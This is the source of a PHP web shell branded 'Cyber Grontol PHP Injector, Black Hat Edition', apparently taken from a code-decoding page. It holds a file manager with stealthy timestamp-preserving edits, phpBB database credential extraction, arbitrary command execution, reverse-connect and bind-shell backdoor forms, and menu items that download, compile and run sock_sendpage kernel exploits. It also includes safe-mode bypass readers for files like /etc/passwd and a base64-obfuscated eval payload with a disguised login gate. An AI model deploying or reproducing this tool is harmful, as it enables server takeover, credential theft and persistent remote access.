foreach ($stack as $line)
{
if (!empty($line))
{
echo "<tr>";
$line = explode("",$line);
$line[1] = intval($line[1]); $line[2] = $line[3]; unset($line[3]);
$line[2] = intval(str_replace(" ","",$line[2]))*1024;
$prcs[] = $line;
echo "</tr>";
}
}
}
$head[$k] = "".$head[$k]."".$y;
$v = $processes_sort[0];
usort($prcs,"tabsort");
if ($processes_sort[1] == "d") {$prcs = array_reverse($prcs);}
$tab = array();
$tab[] = $head;
$tab = array_merge($tab,$prcs);
echo "<TABLE height=1 cellSpacing=1 borderColorDark=#990000 cellPadding=5 width=\"95%\" bgcolor=transparent borderColorLight=#c0c0c0 border=1 bordercolor=\"#C0C0C0\">";
foreach($tab as $i=>$k)
{
echo "<tr>";
foreach($k as $j=>$v) {if ($win and $i > 0 and $j == 2) {$v = view_size($v);} echo "<td>".$v."</td>";}
echo "</tr>";
}
echo "</table>";
}
}
if ($xtux == "f")
{
if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit")
{
if (file_exists($d.$f)) {
echo "<center>Permision denied (".htmlspecialchars($d.$f).")!</center>";
} else {
echo "<center>File does not exists (".htmlspecialchars($d.$f).")!<br /><a href=\"".$surl."xtux=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."&c=1\"><u>Create</u></a></center>";}
} else {
$r = @file_get_contents($d.$f);
$ext = explode(".",$f);
$c = count($ext)-1;
$ext = $ext[$c];
$ext = strtolower($ext);
$rft = "";
foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k; break;}}
if (eregi("sess_(.*)",$f)) {$rft = "phpsess";}
if (empty($ft)) {$ft = $rft;}
$arr = array(
array("Info","info"),
array("HTML","html"),
array("TXT","txt"),
array("Code","code"),
array("Session","phpsess"),
array("EXE","exe"),
array("SDB","sdb"),
array("IMG","img"),
array("INI","ini"),
array("Download","download"),
array("Notepad","notepad"),
array("Edit","edit")
);
echo "Viewing file: <font color=#00ff00>[ ".$ext." format ]</font> => ".$f." (".view_size(filesize($d.$f)).")".view_perms_color($d.$f)."<br />Select action/file-type:<br />";
foreach($arr as $t)
{
if ($t[1] == $rft) {
echo " <a href=\"".$surl."xtux=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><font color=green>".$t[0]."</font></a>";
}
elseif ($t[1] == $ft) {echo " <a href=\"".$surl."xtux=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><u>".$t[0]."</u></a>";
} else {
echo " <a href=\"".$surl."xtux=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\">".$t[0]."</a>";}
echo " (<a href=\"".$surl."xtux=f&f=".urlencode($f)."&ft=".$t[1]."&white=1&d=".urlencode($d)."\" target=\"_blank\">+</a>) |";
}
echo "<hr size=\"1\" noshade>";
if ($ft == "info")
{
echo "Information:<table border=0 cellspacing=1 cellpadding=2><tr><td>Path</td><td> ".$d.$f."</td></tr><tr><td>Size</td><td> ".view_size(filesize($d.$f))."</td></tr><tr><td>MD5</td><td> ".md5_file($d.$f)."</td></tr>";
if (!$win)
{
echo "<tr><td>Owner/Group</td><td> ";
$ow = posix_getpwuid(fileowner($d.$f));
$gr = posix_getgrgid(filegroup($d.$f));
echo ($ow["name"]?$ow["name"]:fileowner($d.$f))."/".($gr["name"]?$gr["name"]:filegroup($d.$f));
}
echo "<tr><td>Perms</td><td><a href=\"".$surl."xtux=chmod&f=".urlencode($f)."&d=".urlencode($d)."\">".view_perms_color($d.$f)."</a></td></tr><tr><td>Create time</td><td> ".date("d/m/Y H:i:s",filectime($d.$f))."</td></tr><tr><td>Access time</td><td> ".date("d/m/Y H:i:s",fileatime($d.$f))."</td></tr><tr><td>MODIFY time</td><td> ".date("d/m/Y H:i:s",filemtime($d.$f))."</td></tr></table><br>";
$fi = fopen($d.$f,"rb");
if ($fi)
{
if ($fullhexdump) {echo "FULL HEXDUMP"; $str = fread($fi,filesize($d.$f)); } else {
echo "HEXDUMP PREVIEW"; $str = fread($fi,$hexdump_lines*$hexdump_rows);}
$n = 0;
$a0 = "00000000<br />";
$a1 = "";
$a2 = "";
for ($i=0; $i<strlen($str); $i++)
{
$a1 .= sprintf("%02X",ord($str[$i]))." ";
switch (ord($str[$i]))
{
case 0: $a2 .= "<font>0</font>"; break;
case 32:
case 10:
case 13: $a2 .= " "; break;
default: $a2 .= htmlspecialchars($str[$i]);
}
$n++;
if ($n == $hexdump_rows)
{
$n = 0;
if ($i+1 < strlen($str)) {$a0 .= sprintf("%08X",$i+1)."<br>";}
$a1 .= "<br>";
$a2 .= "<br>";
}
}
//if ($a1 != "") {$a0 .= sprintf("%08X",$i)."<br />";}
echo "<table border=0 bgcolor=transparent cellspacing=1 cellpadding=4><tr><td bgcolor=#666666>".$a0."</td><td bgcolor=000000>".$a1."</td><td bgcolor=transparent>".$a2."</td></tr></table><br />";
}
$encoded = "";
if ($base64 == 1)
{
echo "Base64 Encode<br>";
$encoded = base64_encode(file_get_contents($d.$f));
}
elseif($base64 == 2)
{
echo "Base64 Encode + Chunk<br>";
$encoded = chunk_split(base64_encode(file_get_contents($d.$f)));
}
elseif($base64 == 3)
{
echo "Base64 Encode + Chunk + Quotes<br>";
$encoded = base64_encode(file_get_contents($d.$f));
$encoded = substr(preg_replace("!.{1,76}!","''.
",$encoded),0,-2);
}
elseif($base64 == 4)
{
$text = file_get_contents($d.$f);
$encoded = base64_decode($text);
echo "Base64 Decode";
if (base64_encode($encoded) != $text) {echo " (failed)";}
echo "<br>";
}
if (!empty($encoded))
{
echo "<textarea cols=80 rows=10>".htmlspecialchars($encoded)."</textarea><br><br>";
}
echo "HEXDUMP:<nobr> [<a href=\"".$surl."xtux=f&f=".urlencode($f)."&ft=info&fullhexdump=1&d=".urlencode($d)."\">Full</a>] [<a href=\"".$surl."xtux=f&f=".urlencode($f)."&ft=info&d=".urlencode($d)."\">Preview</a>]<br />Base64:
<nobr>[<a href=\"".$surl."xtux=f&f=".urlencode($f)."&ft=info&base64=1&d=".urlencode($d)."\">Encode</a>] </nobr>
<nobr>[<a href=\"".$surl."xtux=f&f=".urlencode($f)."&ft=info&base64=2&d=".urlencode($d)."\">+chunk</a>] </nobr>
<nobr>[<a href=\"".$surl."xtux=f&f=".urlencode($f)."&ft=info&base64=3&d=".urlencode($d)."\">+chunk+quotes</a>] </nobr>
<nobr>[<a href=\"".$surl."xtux=f&f=".urlencode($f)."&ft=info&base64=4&d=".urlencode($d)."\">Decode</a>] </nobr>
<P>";
}
elseif ($ft == "html")
{
if ($white) {@ob_clean();}
echo $r;
if ($white) {TuXexit();}
}
elseif ($ft == "txt") {echo "<pre>".htmlspecialchars($r)."</pre>";}
elseif ($ft == "ini") {echo "<pre>"; var_dump(parse_ini_file($d.$f,TRUE)); echo "</pre>";}
elseif ($ft == "phpsess")
{
echo "<pre>";
$v = explode("|",$r);
echo $v[0]."<br>";
var_dump(unserialize($v[1]));
echo "</pre>";
}
elseif ($ft == "exe")
{
$ext = explode(".",$f);
$c = count($ext)-1;
$ext = $ext[$c];
$ext = strtolower($ext);
$rft = "";
foreach($exeftypes as $k=>$v)
{
if (in_array($ext,$v)) {$rft = $k; break;}
}
$cmd = str_replace("%f%",$f,$rft);
echo "Execute file:<form action=\"".$surl."\" method=POST><input type=hidden name=xtux value=cmd><input type=\"text\" name=\"cmd\" value=\"".htmlspecialchars($cmd)."\" size=\"".(strlen($cmd)+2)."\"><br>Display in text-area<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\" checked><input type=hidden name=\"d\" value=\"".htmlspecialchars($d)."\"><br><input type=submit name=submit value=\"Execute\"></form>";
}
elseif ($ft == "sdb") {echo "<pre>"; var_dump(unserialize(base64_decode($r))); echo "</pre>";}
elseif ($ft == "code")
{
if (ereg("php"."BB 2.(.*) auto-generated config file",$r))
{
$arr = explode("
",$r);
if (count($arr == 18))
{
include($d.$f);
echo "phpBB configuration is detected in this file!<br>";
if ($dbms == "mysql4") {$dbms = "mysql";}
if ($dbms == "mysql") {echo "<a href=\"".$surl."act=sql&sql_server=".htmlspecialchars($dbhost)."&sql_login=".htmlspecialchars($dbuser)."&sql_passwd=".htmlspecialchars($dbpasswd)."&sql_port=3306&sql_db=".htmlspecialchars($dbname)."\"><u>Connect to DB</u></a><br><br>";}
else {echo "But, you can't connect to forum sql-base, because db-software=\"".$dbms."\" is not supported by TuXell. Please, report us for fix.";}
echo "Parameters for manual connect:<br>";
$cfgvars = array("dbms"=>$dbms,"dbhost"=>$dbhost,"dbname"=>$dbname,"dbuser"=>$dbuser,"dbpasswd"=>$dbpasswd);
foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k)."='".htmlspecialchars($v)."'<br>";}
echo "<hr size=\"1\" noshade>";
}
}
echo "<div style=\"border : 0px solid #FFFFFF; padding: 1em; margin-top: 1em; margin-bottom: 1em; margin-right: 1em; margin-left: 1em; background-color: ".$highlight_background .";\">";
if (!empty($white)) {@ob_clean();}
highlight_file($d.$f);
if (!empty($white)) {TuXexit();}
echo "</div>";
}
elseif ($ft == "download")
{
@ob_clean();
header("Content-type: application/octet-stream");
header("Content-length: ".filesize($d.$f));
header("Content-disposition: attachment; filename=\"".$f."\";");
echo $r;
exit;
}
elseif ($ft == "notepad")
{
@ob_clean();
header("Content-type: text/plain");
header("Content-disposition: attachment; filename=\"".$f.".txt\";");
echo($r);
exit;
}
elseif ($ft == "img")
{
$inf = getimagesize($d.$f);
if (!$white)
{
if (empty($imgsize)) {$imgsize = 20;}
$width = $inf[0]/100*$imgsize;
$height = $inf[1]/100*$imgsize;
echo "<center>Size: ";
$sizes = array("100","50","20");
foreach ($sizes as $v)
{
echo "<a href=\"".$surl."xtux=f&f=".urlencode($f)."&ft=img&d=".urlencode($d)."&imgsize=".$v."\">";
if ($imgsize != $v ) {echo $v; } else {
echo "<u>".$v."</u>";}
echo "</a> ";
}
echo "<br><br><img src=\"".$surl."xtux=f&f=".urlencode($f)."&ft=img&white=1&d=".urlencode($d)."\" width=\"".$width."\" height=\"".$height."\" border=\"1\"></center>";
} else {
@ob_clean();
$ext = explode($f,".");
$ext = $ext[count($ext)-1];
header("Content-type: ".$inf["mime"]);
readfile($d.$f);
exit;
}
}
elseif ($ft == "edit")
{
if (!empty($submit))
{
if ($filestealth) {$stat = stat($d.$f);}
$fp = fopen($d.$f,"w");
if (!$fp) {echo "Can't write to file!"; } else {
echo "Saved!";
fwrite($fp,$edit_text);
fclose($fp);
if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);}
$r = $edit_text;
}
}
$rows = count(explode("
",$r));
if ($rows < 10) {$rows = 10;}
if ($rows > 30) {$rows = 30;}
echo "<form action=\"".$surl."xtux=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."\" method=POST><input type=submit name=submit value=\"Save\"> <input type=\"reset\" value=\"Reset\"> <input type=\"button\" onclick=\"location.href='".addslashes($surl."xtux=ls&d=".substr($d,0,-1))."';\" value=\"Back\"><br><textarea name=\"edit_text\" cols=\"122\" rows=\"".$rows."\">".htmlspecialchars($r)."</textarea></form>"; } elseif (!empty($ft)) {echo "<center>Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS.</center>"; } else {
echo "<center>Unknown extension (".$ext."), please, select type manually.</center>";}
}
}
} else {
@ob_clean();
$images = array(
"0x99b"=>"",
"arrow_ltr"=>"","back"=>"","buffer"=>"","change"=>"","delete"=>"","download"=>"","forward"=>"",
"home"=>"","mode"=>"","refresh"=>"","search"=>"","setup"=>"","small_dir"=>"",
"small_unk"=>"","multipage"=>"","sort_asc"=>"","sort_desc"=>"","sql_button_drop"=>"",
"sql_button_empty"=>"","sql_button_insert"=>"","up"=>"","write"=>"","ext_asp"=>"","ext_mp3"=>"",
"ext_avi"=>"","ext_cgi"=>"","ext_cmd"=>"","ext_cpp"=>"","ext_ini"=>"","ext_diz"=>"",
"ext_doc"=>"","ext_exe"=>"","ext_h"=>"","ext_hpp"=>"","ext_htaccess"=>"",
"ext_html"=>"","ext_jpg"=>"","ext_js"=>"","ext_lnk"=>"","ext_log"=>"","ext_php"=>"",
"ext_pl"=>"","ext_swf"=>"","ext_tar"=>"","ext_txt"=>"","ext_wri"=>"","ext_xml"=>""
);
//For simple size- and speed-optimization.
$imgequals = array(
"ext_tar"=>array("ext_tar","ext_r00","ext_ace","ext_arj","ext_bz","ext_bz2","ext_tbz","ext_tbz2","ext_tgz","ext_uu","ext_xxe","ext_zip","ext_cab","ext_gz","ext_iso","ext_lha","ext_lzh","ext_pbk","ext_rar","ext_uuf"),
"ext_php"=>array("ext_php","ext_php3","ext_php4","ext_php5","ext_phtml","ext_shtml","ext_htm"),
"ext_jpg"=>array("ext_jpg","ext_gif","ext_png","ext_jpeg","ext_jfif","ext_jpe","ext_bmp","ext_ico","ext_tif","tiff"),
"ext_html"=>array("ext_html","ext_htm"),
"ext_avi"=>array("ext_avi","ext_mov","ext_mvi","ext_mpg","ext_mpeg","ext_wmv","ext_rm"),
"ext_lnk"=>array("ext_lnk","ext_url"),
"ext_ini"=>array("ext_ini","ext_css","ext_inf"),
"ext_doc"=>array("ext_doc","ext_dot"),
"ext_js"=>array("ext_js","ext_vbs"),
"ext_cmd"=>array("ext_cmd","ext_bat","ext_pif"),
"ext_wri"=>array("ext_wri","ext_rtf"),
"ext_swf"=>array("ext_swf","ext_fla"),
"ext_mp3"=>array("ext_mp3","ext_au","ext_midi","ext_mid"),
"ext_htaccess"=>array("ext_htaccess","ext_htpasswd","ext_ht","ext_hta","ext_so")
);
if (!$getall)
{
header("Content-type: image/gif");
header("Cache-control: public");
header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));
header("Cache-control: max-age=".(60*60*24*7));
header("Last-Modified: ".date("r",filemtime(__FILE__)));
foreach($imgequals as $k=>$v) {if (in_array($img,$v)) {$img = $k; break;}}
if (empty($images[$img])) {$img = "small_unk";}
if (in_array($img,$ext_tar)) {$img = "ext_tar";}
echo base64_decode($images[$img]); } else {
foreach($imgequals as $a=>$b) {foreach ($b as $d) {if ($a != $d) {if (!empty($images[$d])) {echo("Warning! Remove \$images[".$d."]<br>");}}}}
natsort($images);
$k = array_keys($images);
echo "<center>";
foreach ($k as $u) {echo $u.":<img src=\"".$surl."xtux=img&img=".$u."\" border=\"1\"><br>";}
echo "</center>";
}
exit;
}
if ($xtux == "about") {echo "<center>Cyber Grontol PHP Injector<br /><br />Black Hat Edition<br />This is for education purpose only<br />";}
if ($xtux == "backc")
{
$ip = $_SERVER["REMOTE_ADDR"];
$msg = $_POST['backcconnmsg'];
$emsg = $_POST['backcconnmsge'];
echo("<center>Back-Connection:</br></br><form name=form method=POST>Host:<input type=text name=backconnectip size=15 value=$ip> Port: <input type=text name=backconnectport size=15 value=31337> Use: <select size=1 name=use><option value=Perl>Perl</option><option value=C>C</option></select> <input type=submit name=submit value=Connect></form>Click 'Connect' only after you open port for it first. Once open, use NetCat, and run 'nc -l -n -v -p 31337'<br><br></center>");
echo("$msg");
echo("$emsg");
}
if ($xtux == "shbd"){
$msg = $_POST['backcconnmsg'];
$emsg = $_POST['backcconnmsge'];
echo("<center>Bind Shell Backdoor<br /><br /><form name=form method=POST>Bind Port: <input type='text' name='backconnectport' value='31337'><input type='hidden' name='use' value='shbd'>
<input type='submit' value='Install Backdoor'></form>");
echo("$msg");
echo("$emsg");
echo("</center>");
} ?>
</td></tr></table><a bookmark="minipanel"><br>
<TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#990000 cellPadding=3 height="1" width="95%" bgcolor=transparent borderColorLight=#c0c0c0 border=1>
<tr><td width="100%" height="1" valign="top" colspan="2"></td></tr>
<tr><td width="50%" height="1" valign="top"><center>Command: <form action="<?php echo $surl; ?>"><input type=hidden name=xtux value="cmd"><input type=hidden name="d" value="<?php echo $dispd; ?>">
<input type="text" name="cmd" size="50" value="<?php echo htmlspecialchars($cmd); ?>">
<input type=hidden name="cmd_txt" value="1"> <input type=submit name=submit value="Execute"></form></td></tr></TABLE><br>
<TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#990000 cellPadding=3 height="116" width="95%" bgcolor=transparent borderColorLight=#c0c0c0 border=1>
<tr><td height="1" valign="top" colspan="2"></td></tr>
<tr><td width="50%" height="83" valign="top"><center><div align="center">Useful Commands</div>
<form action="<?php echo $surl; ?>"><div align="center"><input type=hidden name=xtux value="cmd">
<input type=hidden name="d" value="<?php echo $dispd; ?>">
<SELECT NAME="cmd">
<OPTION VALUE="uname -a">Kernel version
<OPTION VALUE="w">Logged in users
<OPTION VALUE="lastlog">Last to connect
<OPTION VALUE="cat /proc/version /proc/cpuinfo">CPUINFO
<OPTION VALUE="netstat -atup | grep IST">Open ports
<OPTION VALUE="gcc -v">gcc version
<OPTION VALUE="perl -v">perl version
<OPTION VALUE="wget http://downloads.securityfocus.com/vulnerabilities/exploits/36038-6.c">sock_sendpage Exploit 6
<OPTION VALUE="gcc -Wall 36038-6.c -o 36038-6">Compile sock_sendpage Exploit 6
<OPTION VALUE="./36038-6">Run sock_sendpage Exploit 6
<OPTION VALUE="wget http://www.securityfocus.com/data/vulnerabilities/exploits/36038-5.c">sock_sendpage Exploit 5
<OPTION VALUE="gcc 36038-5.c -o 36038-5">Compile sock_sendpage Exploit 5
<OPTION VALUE="./36038-5">Run sock_sendpage Exploit 5
</SELECT>
<input type=hidden name="cmd_txt" value="1">
<input type=submit name=submit value="Execute"><br>Kernel akan diberi tau jika melebihi kapasitas</div></form></td>
<td width="50%" height="1" valign="top"><center>Select: <form action="<?php echo $surl; ?>xtux=cmd" method="POST">
<input type=hidden name=xtux value="cmd"><input type=hidden name="d" value="<?php echo $dispd; ?>"><select name="cmd"><?php foreach ($cmdaliases as $als) {echo "<option value=\"".htmlspecialchars($als[1])."\">".htmlspecialchars($als[0])."</option>";} ?></select><input type=hidden name="cmd_txt" value="1"> <input type=submit name=submit value="Execute"></form></td></tr></TABLE><br>
<TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#990000 cellPadding=5 height="116" width="95%" bgcolor=transparent borderColorLight=#c0c0c0 border=1>
<tr><td height="1" valign="top" colspan="2"></td></tr>
<tr><td width="50%" height="83" valign="top"><center><div align="center">Php Safe-Mode Bypass (Read Files)</div><br>
<form action="<?php echo $surl; ?>"><div align="center">File: <input type="text" name="file" method="get"> <input type="submit" value="Read File"><br><br>Contoh /etc/passwd<br>
<?
function rsg_read()
{
$test="";
$temp=tempnam($test, "cx");
$file=$_GET['file'];
$get=htmlspecialchars($file);
echo "<br>Trying To Get File <font color=#000099>$get</font><br>";
if(copy("compress.zlib://".$file, $temp)){
$fichier = fopen($temp, "r");
$xtuxion = fread($fichier, filesize($temp));
fclose($fichier);
$source=htmlspecialchars($xtuxion);
echo "<div class=\"shell\">Start $get<br><br><font color=\"white\">$source</font><br><br>Fin <font color=#000099>$get</font>";
unlink($temp); } else { die("<FONT COLOR=\"RED\"><CENTER>Access ".htmlspecialchars($file)." denied.</CENTER></FONT>"); }
echo "</div>";
}
if(isset($_GET['file']))
{
rsg_read();
}
?>
<?
function rsg_glob()
{
$chemin=$_GET['directory'];
$files = glob("$chemin*");
echo "Trying To List Folder <font color=#000099>$chemin</font><br>";
foreach ($files as $filename) {
echo "<pre>";
echo "$filename
";
echo "</pre>";
}
}
if(isset($_GET['directory']))
{
rsg_glob();
}
?>
<br></div></form></td><td width="50%" height="83" valign="top"><center><center>Php Safe-Mode Bypass (List Directories): <form action="<?php echo $surl; ?>"><div align="center"><br>Dir: <input type="text" name="directory" method="get"> <input type="submit" value="List Directory"><br><br> eg: /etc/<br></form></center></td></tr></TABLE>
<br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#990000 cellPadding=5 height="1" width="95%" bgcolor=transparent borderColorLight=#c0c0c0 border=1><tr><td width="50%" height="1" valign="top"><center>Search<form method="POST"><input type=hidden name=xtux value="search"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="search_name" size="29" value="(.*)"> <input type="checkbox" name="search_name_regexp" value="1" checked> - regexp <input type=submit name=submit value="Search"></form></center></p></td><td width="50%" height="1" valign="top"><center>Upload<form method="POST" ENCTYPE="multipart/form-data"><input type=hidden name=xtux value="upload"><input type="file" name="uploadfile"><input type=hidden name="miniform" value="1"> <input type=submit name=submit value="Upload"><br><?php echo $wdt; ?></form></center></td></tr></table>
<br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#990000 cellPadding=5 height="1" width="95%" bgcolor=transparent borderColorLight=#c0c0c0 border=1><tr><td width="50%" height="1" valign="top"><center>Make Dir<form action="<?php echo $surl; ?>"><input type=hidden name=xtux value="mkdir"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="mkdir" size="50" value="<?php echo $dispd; ?>"> <input type=submit value="Create"><br><?php echo $wdt; ?></form></center></td><td width="50%" height="1" valign="top"><center>Make File<form method="POST"><input type=hidden name=xtux value="mkfile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="mkfile" size="50" value="<?php echo $dispd; ?>"><input type=hidden name="ft" value="edit"> <input type=submit value="Create"><br><?php echo $wdt; ?></form></center></td></tr></table>
<br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#990000 cellPadding=5 height="1" width="95%" bgcolor=transparent borderColorLight=#c0c0c0 border=1><tr><td width="50%" height="1" valign="top"><center>Go Dir<form action="<?php echo $surl; ?>"><input type=hidden name=xtux value="ls"><input type="text" name="d" size="50" value="<?php echo $dispd; ?>"> <input type=submit value="Go"></form></center></td><td width="50%" height="1" valign="top"><center>Go File<form action="<?php echo $surl; ?>"><input type=hidden name=xtux value="gofile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="f" size="50" value="<?php echo $dispd; ?>"> <input type=submit value="Go"></form></center></td></tr></table>
<br><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#990000 cellPadding=0 width="95%" bgcolor=transparent borderColorLight=#c0c0c0 border=1><tr><td width="990" height="1" valign="top"><p id="footer"> Black Hat ® // Source by © <a href="http://cybergrontol.com/">Cyber Grontol</a> // <? echo date ("Y")." "; ?> <a href="mailto:[email protected]">drie88</a> ™</font> </p></td></tr></table></body></html>
Did this file decode correctly?
Original Code
<?php eval(base64_decode('QHNlc3Npb25fc3RhcnQoKTsKQHNldF90aW1lX2xpbWl0KDApOyAKQCRwYXNzID0gbWQ1KHRyaW0oJF9QT1NUWydwYXNzJ10pKTsKJGNoa19sb2dpbiA9IDE7CiRwX2NvZGUgPSAgImEwNWFjNzQ2YWE5ZDhiOTUyYzMzODRmZTliNzY1NDYwIjsgIAppZigkcGFzcyA9PSAkcF9jb2RlKQp7ICRfU0VTU0lPTlsnc2VzJ10gPSAiJHBhc3MiO30KaWYoJGNoa19sb2dpbikKeyBpZighaXNzZXQoJF9TRVNTSU9OWydzZXMnXSkgb3IgJF9TRVNTSU9OWydzZXMnXSAhPSAkcF9jb2RlKQogeyBkaWUoIiAKICA8dGl0bGU+NDAzIEZvcmJpZGRlbjwvdGl0bGU+CiA8aDE+Rm9yYmlkZGVuPC9oMT4KPHA+WW91IGRvbid0IGhhdmUgcGVybWlzc2lvbiB0byBhY2Nlc3Mgb24gdGhpcyBzZXJ2ZXIuPGJyPjxicj5BZGRpdGlvbmFsbHksIGEgNDAzIEZvcmJpZGRlbiBlcnJvciB3YXMgZW5jb3VudGVyZWQgd2hpbGUgdHJ5aW5nIHRvIHVzZSBhbiBFcnJvckRvY3VtZW50IHRvIGhhbmRsZSB0aGUgcmVxdWVzdC48L3A+Cjxocj4KPGFkZHJlc3M+QXBhY2hlIFNlcnZlciBhdCAgIi4kX1NFUlZFUlsiSFRUUF9IT1NUIl0uIiBQb3J0IDgwIDwvYWRkcmVzcz4KPHN0eWxlPgppbnB1dCB7IG1hcmdpbjowO2JhY2tncm91bmQtY29sb3I6I2ZmZjtib3JkZXI6MXB4IHNvbGlkICNmZmY7IH0KPC9zdHlsZT48YnI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+PGJyPjxicj4KPHJpZ3RoPgo8Zm9ybSBtZXRob2Q9cG9zdD4KPGlucHV0IHR5cGU9cGFzc3dvcmQgbmFtZT1wYXNzPgo8L2Zvcm0+PC9yaWd0aD4KICIpO319'));
eval(base64_decode('ZnVuY3Rpb24gc2VsZlVSTCgpIHsgJHMgPSBlbXB0eSgkX1NFUlZFUlsiSFRUUFMiXSkgPyAnJyA6ICgkX1NFUlZFUlsiSFRUUFMiXSA9PSAib24iKSA/ICJzIiA6ICIiOyAkcHJvdG9jb2wgPSBzdHJsZWZ0KHN0cnRvbG93ZXIoJF9TRVJWRVJbIlNFUlZFUl9QUk9UT0NPTCJdKSwgIi8iKS4kczsgJHBvcnQgPSAoJF9TRVJWRVJbIlNFUlZFUl9QT1JUIl0gPT0gIjgwIikgPyAiIiA6ICgiOiIuJF9TRVJWRVJbIlNFUlZFUl9QT1JUIl0pOyByZXR1cm4gJHByb3RvY29sLiI6Ly8iLiRfU0VSVkVSWydTRVJWRVJfTkFNRSddLiRwb3J0LiRfU0VSVkVSWydSRVFVRVNUX1VSSSddOyB9IGZ1bmN0aW9uIHN0cmxlZnQoJHMxLCAkczIpIHsgcmV0dXJuIHN1YnN0cigkczEsIDAsIHN0cnBvcygkczEsICRzMikpOyB9CiRzZWxmdXJsID0gYmFzZTY0X2VuY29kZShzZWxmVVJMKCkpOwokTHZlcnNpb24gPSBwaHBfdW5hbWUocik7CiRPU1YgPSBwaHBfdW5hbWUocyk7CmlmKGVyZWdpKCJMaW51eCIsJE9TVikpCnsKJEx2ZXJzaW9uPXN1YnN0cigkTHZlcnNpb24sMCw2KTsKJHBhY2tldD0iaHR0cDovL3d3dzIucGFja2V0c3Rvcm1zZWN1cml0eS5vcmcvY2dpLWJpbi9zZWFyY2gvc2VhcmNoLmNnaT9zZWFyY2h2YWx1ZT1MaW51eCtLZXJuZWwrIi4kTHZlcnNpb247Cn1lbHNlewokTHZlcnNpb249c3Vic3RyKCRMdmVyc2lvbiwwLDMpOwokcGFja2V0PSJodHRwOi8vd3d3Mi5wYWNrZXRzdG9ybXNlY3VyaXR5Lm9yZy9jZ2ktYmluL3NlYXJjaC9zZWFyY2guY2dpP3NlYXJjaHZhbHVlPSIuJE9TVi4iKyIuJEx2ZXJzaW9uOwp9CgppZiAoIWZ1bmN0aW9uX2V4aXN0cygibzJ4ZGFleGVjIikpCnsKaWYoaXNfY2FsbGFibGUoInBvcGVuIikpewpmdW5jdGlvbiBvMnhkYWV4ZWMoJGNvbW1hbmQpIHsKaWYgKCEoJHA9cG9wZW4oIigkY29tbWFuZCkyPiYxIiwiciIpKSkgewpyZXR1cm4gMTI2Owp9CndoaWxlICghZmVvZigkcCkpIHsKJGxpbmU9ZmdldHMoJHAsMTAwMCk7CiRvdXQgLj0gJGxpbmU7Cn0KcGNsb3NlKCRwKTsKcmV0dXJuICRvdXQ7Cn0KfWVsc2V7CmZ1bmN0aW9uIG8yeGRhZXhlYygkY21kKQp7CiBnbG9iYWwgJGRpc2FibGVmdW5jOwogJHJlc3VsdCA9ICIiOwogaWYgKCFlbXB0eSgkY21kKSkKIHsKICBpZiAoaXNfY2FsbGFibGUoImV4ZWMiKSBhbmQgIWluX2FycmF5KCJleGVjIiwkZGlzYWJsZWZ1bmMpKSB7ZXhlYygkY21kLCRyZXN1bHQpOyAkcmVzdWx0ID0gam9pbigiXG4iLCRyZXN1bHQpO30KICBlbHNlaWYgKCgkcmVzdWx0ID0gYCRjbWRgKSAhPT0gRkFMU0UpIHt9CiAgZWxzZWlmIChpc19jYWxsYWJsZSgic3lzdGVtIikgYW5kICFpbl9hcnJheSgic3lzdGVtIiwkZGlzYWJsZWZ1bmMpKSB7JHYgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7IEBvYl9jbGVhbigpOyBzeXN0ZW0oJGNtZCk7ICRyZXN1bHQgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7IEBvYl9jbGVhbigpOyBlY2hvICR2O30KICBlbHNlaWYgKGlzX2NhbGxhYmxlKCJwYXNzdGhydSIpIGFuZCAhaW5fYXJyYXkoInBhc3N0aHJ1IiwkZGlzYWJsZWZ1bmMpKSB7JHYgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7IEBvYl9jbGVhbigpOyBwYXNzdGhydSgkY21kKTsgJHJlc3VsdCA9IEBvYl9nZXRfY29udGVudHMoKTsgQG9iX2NsZWFuKCk7IGVjaG8gJHY7fQogIGVsc2VpZiAoaXNfcmVzb3VyY2UoJGZwID0gcG9wZW4oJGNtZCwiciIpKSkKICB7CiAgICRyZXN1bHQgPSAiIjsKICAgd2hpbGUoIWZlb2YoJGZwKSkgeyRyZXN1bHQgLj0gZnJlYWQoJGZwLDEwMjQpO30KICAgcGNsb3NlKCRmcCk7CiAgfQogfQogcmV0dXJuICRyZXN1bHQ7Cn0KfQp9CiR3d3c9IkNpUmpjbVZoZEc5eVBXSmhjMlUyTkY5a1pXTnZaR1VvSWxwSVNuQmFWR2MwVVVkT05WbHRWbmxqTWxaNVpHMXNhbHBZVFhWWk1qbDBJaWs3Q2lna2MyRm1aVjl0YjJSbEtUOG9KSE5oWm1WNlBTSlBUaUlwT2lna2MyRm1aWG85SW1Kc1lXTnJYMWxsWVdnaUtUc0tKR0poYzJVOUltaDBkSEE2THk4aUxpUmZVMFZTVmtWU1d5ZElWRlJRWDBoUFUxUW5YUzRrWDFORlVsWkZVbHNuVWtWUlZVVlRWRjlWVWtrblhUc2dDaVJ1WVcxbElEMGdjR2h3WDNWdVlXMWxLQ2